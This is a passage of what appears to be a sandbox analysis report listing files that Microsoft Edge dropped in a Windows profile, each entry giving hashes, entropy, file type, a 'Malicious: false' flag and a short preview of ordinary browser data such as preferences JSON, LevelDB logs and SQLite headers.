Size (bytes):	4194304
Entropy (8bit):	0.4587494681566555
Encrypted:	false
SSDEEP:	6144:qAvFjZyCHkcYsGSZ/6tmmqAaaHG29aj4:tkcbGSQ5
MD5:	BB3E93A51B7F2C37658683E9D287BC58
SHA1:	9345868823EB3C776A3F87EF3EBCEDDF028FC69A
SHA-256:	299A9F92FD98F60D520DDC837378D4CD1CAB6F8DB8CB04E14AD50BA1B3252DF6
SHA-512:	4552E4A6D6EF34538667CCF9716E497EB2BCD838DEF733FC151403FD060382D772DB0B7C945F60F3EEC32C2C01FC321178610DC30145DC600F9AC0322F4B4F99
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ydvpvu20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\025c97bd-d7c3-476b-965b-5ebe28746227.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1d59b81e-39ac-4b28-83b5-d7012790ffed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.111961950305376
Encrypted:	false
SSDEEP:	192:stmkdpYs0Z0CaFvrE9kEce8ubV+FmeQAxU1PSYJ:stmQYs0yCCD8bGtQHV
MD5:	F8106942ECD6F5CCBF0251034D883720
SHA1:	924A0B5B9171BC17DC87EF2D339A466CE20A97D5
SHA-256:	913EB043F86976E5D7D8512C583CD82FF521C38904E521A2CD069FC1392BF249
SHA-512:	8629B46F96DF519591DCAE08EFBA150E4853A22C3D2197DFAD86A1B3266EB0033C740AA7D4A18E3652E3CDA747ED5E4D02034734A195D0C5E2E6B7C5DFF4DDBE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\382b7f89-9a56-4827-b30a-ab94cac2929d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561498989066709
Encrypted:	false
SSDEEP:	768:z3lyqLW6m7pLGLPB/W5wJhf4co8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPgqSBItis:zVpLVGcPB/WaJhfLou1jaZqSagBcuKYE
MD5:	8EA33799828D65241DE242C2848B9640
SHA1:	86527923A2D4CFE0DCD5F40154F89D6C9A0424E4
SHA-256:	C44C0EB7711D5FB4126CADEDC3D9E1B20D7779E42569489200F24EAB4CDF9E32
SHA-512:	0ECBAE4E196C16C6D6CE74B8EC63995BC4E888A240247894469CB7C76D1351C3FC8BF90CABF671AD1120FCFAC60A6CF1A8F0E82E30F7CBCF3260022ECCDCC75E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376983596262118","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376983596262118","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\567d7f09-eba0-4c58-8210-fa9aab88a449.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\61c7a361-28a8-4b2b-a388-9a286bff681c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5582525275837815
Encrypted:	false
SSDEEP:	768:z3IyoLW4m7pLGLPW/W5wJhf49o8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPpBIti0w1:z43LDGcPW/WaJhfIou1jakazBCtj
MD5:	F8B0995C63AB6C9248CEF097226BB68B
SHA1:	BA87F458FE6C2042B520F77FCEE18B7B78E45783
SHA-256:	9C711FE734788B26E79E84A5FD6CA993DA3EF7484AFEA20A754086856BA42368
SHA-512:	5B9F8DCF21AB8C25B2DE3A413F0E031FD1A98845C19A89A6EB18EBA2986E77FF0B7B01D1EA36ED796C9F936321295A2388A248DC903CE697BD3335557A42D47B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376983596262118","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376983596262118","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6af1e54f-c074-402b-8282-0aa22b149f7f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.555081988546843
Encrypted:	false
SSDEEP:	768:z3lyqLW6m7pLGLPB/W5wJhf4co8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuBIti3wG:zVpLVGcPB/WaJhfLou1jaPagBcuKxvt2
MD5:	E323B7593380C66037C746724E5C2B0B
SHA1:	73A2EE8CFDFC0351EF25B59E1073223881345009
SHA-256:	966429A7BA41704FA0E8D216868AC39CC1D9AD9D597B807F081398548F9C14EA
SHA-512:	F6FAA2FD6891554E04E657F8ECA9C5F3E1C56E8F37E2210595F0E3D533408F0BC26752CBCA4D5CA7FF33CAFC5126EFA44C2001FD4090985A51246C3F2D732168
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376983596262118","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376983596262118","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\84c46078-5877-46ff-8acd-d19217cc270f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.24357110539261
Encrypted:	false
SSDEEP:	6:HX8c1N723oH+Tcwtp3hBtB2KLlVXGq2PN723oH+Tcwtp3hBWsIFUv:3JaYebp3dFLPGvVaYebp3eFUv
MD5:	2F27C18DE747DA9E5DA2E71B2817F92D
SHA1:	7893A519440B95B0E219EC4585C63643D149834F
SHA-256:	5548C049E86B3350CC45EE3C01CE9A8B7FA41357FA166245C9EF096A9A3E97E4
SHA-512:	C0BE2129E875B4A7F52898EC25F082280010D9A3B41275365EA92875E122E6EF7C0412F0B22B9CF871301CCAE32FE0263A30646172E0410150D0AEB449ADDFA4
Malicious:	false
Preview:	2024/11/24-23:46:41.741 20c0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/24-23:46:41.785 20c0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.22287374164597
Encrypted:	false
SSDEEP:	24576:IbPMZpVtfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVtfx2mjF
MD5:	89661DF7DE4B4B6C88B3CD3C9A579662
SHA1:	BFD28553DE1CBCD46A7A004491FE626289306BB1
SHA-256:	95FE64FC071257D2A6B40D49B2E52E08CA5BE8971B37619AE643D0351D4014B4
SHA-512:	DB7BF68E3CCB893B6792BF4A4856DF097B4CAB29652CBD1A25303B33F6FE0DD276CD98C8B0033C5E88D0B7E58F8F3B5D9E4343116F3DDD2A5871253F15027368
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.143202495386727
Encrypted:	false
SSDEEP:	6:HXZfM+q2PN723oH+Tcwt9Eh1tIFUt8YXxmZmw+YXhppMVkwON723oH+Tcwt9Eh1H:35M+vVaYeb9Eh16FUt88xm/+8hfMV5Oj
MD5:	E974F8065C7B72C2B2685DBE7F57D0B0
SHA1:	82EDE8C4C8340E42D9744B932C662CF5174A32BA
SHA-256:	D283000EE059A211CCE5A3E51EC8919E499C1CF875B89E689A453F0BDF0CD80B
SHA-512:	BB5A74D9FE9E3024FB0CEDF376932855D2B402D82437BCC4514C63EC05BF24664AB65A61730CEDE233F168EA358EBF76798B63871E19E58F2FB5FB73D728DAF4
Malicious:	false
Preview:	2024/11/24-23:46:41.593 20fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-23:46:41.595 20fc Recovering log #3.2024/11/24-23:46:41.618 20fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.143202495386727
Encrypted:	false
SSDEEP:	6:HXZfM+q2PN723oH+Tcwt9Eh1tIFUt8YXxmZmw+YXhppMVkwON723oH+Tcwt9Eh1H:35M+vVaYeb9Eh16FUt88xm/+8hfMV5Oj
MD5:	E974F8065C7B72C2B2685DBE7F57D0B0
SHA1:	82EDE8C4C8340E42D9744B932C662CF5174A32BA
SHA-256:	D283000EE059A211CCE5A3E51EC8919E499C1CF875B89E689A453F0BDF0CD80B
SHA-512:	BB5A74D9FE9E3024FB0CEDF376932855D2B402D82437BCC4514C63EC05BF24664AB65A61730CEDE233F168EA358EBF76798B63871E19E58F2FB5FB73D728DAF4
Malicious:	false
Preview:	2024/11/24-23:46:41.593 20fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-23:46:41.595 20fc Recovering log #3.2024/11/24-23:46:41.618 20fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46277604933368294
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuU14b5:TouQq3qh7z3bY2LNW9WMcUvBuU1M
MD5:	2FE082468B1FA568A8872BA1636387CA
SHA1:	F4FDA664626E96AFDA258E9949CE3314295F76E3
SHA-256:	EB89D80E442A2A632EA7845239A85D9F7EA3612F6E0D114E3B4EFB7E3BDC410D
SHA-512:	17C468B9F02B1DBE3254291F1B17A7C749E12B08B62B8FCF008D2847D1E13560E77E52F350A08E485A0A8A0FAE199FB83B78E2D9EC14FC6D4842DACFC23E0691
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.199662483901898
Encrypted:	false
SSDEEP:	6:HGyduaq2PN723oH+TcwtnG2tMsIFUt8YGy1zZmw+YGy1pkwON723oH+TcwtnG2tF:CavVaYebn9GFUt8wz/+wp5OaYebn95J
MD5:	B25F5F0BA20479DA1195466D061037D3
SHA1:	B94969375ACFAE955AD841488CE125295CA09883
SHA-256:	F88A875A85B91661733C51C295F6506F73D9CF58C5553A2C2CA08F7A76448E64
SHA-512:	333D1009A6BD9DF5449E8BC9DFF4963EBF16D0D8FA91F0CC3B2546FE280BDB275596FC5314FDC172A85932E28C63944FE1AC3535CD10BDFBE0608B10A2BF80AE
Malicious:	false
Preview:	2024/11/24-23:46:36.348 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-23:46:36.349 1b40 Recovering log #3.2024/11/24-23:46:36.349 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.199662483901898
Encrypted:	false
SSDEEP:	6:HGyduaq2PN723oH+TcwtnG2tMsIFUt8YGy1zZmw+YGy1pkwON723oH+TcwtnG2tF:CavVaYebn9GFUt8wz/+wp5OaYebn95J
MD5:	B25F5F0BA20479DA1195466D061037D3
SHA1:	B94969375ACFAE955AD841488CE125295CA09883
SHA-256:	F88A875A85B91661733C51C295F6506F73D9CF58C5553A2C2CA08F7A76448E64
SHA-512:	333D1009A6BD9DF5449E8BC9DFF4963EBF16D0D8FA91F0CC3B2546FE280BDB275596FC5314FDC172A85932E28C63944FE1AC3535CD10BDFBE0608B10A2BF80AE
Malicious:	false
Preview:	2024/11/24-23:46:36.348 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-23:46:36.349 1b40 Recovering log #3.2024/11/24-23:46:36.349 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6125933359392202
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j0UOlpFUXmL:TO8D4jJ/6Up+Qbpt
MD5:	69772448D34ACC220F94E2D58565BD04
SHA1:	21F59A9BFA93ED0C73C3EAC34F404DE3D21808C6
SHA-256:	56A10C62B404ABD170D3A14C7FCD7050442208CBD8CF067B38DD6B86B675E255
SHA-512:	EE17D16F59A0B95D7607A2D27A976B8822ECA027623BFAD2AB3076D6F792013744889D353FD107CF53C31B1F816FF4F1D9D497578AA44C543334F85AEF33479D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354103236062384
Encrypted:	false
SSDEEP:	6144:UA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:UFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	00469D6DCB19E2E136FC61FF60B1DD81
SHA1:	7F64DECA4B6E18E722357A49C0614767D66855AF
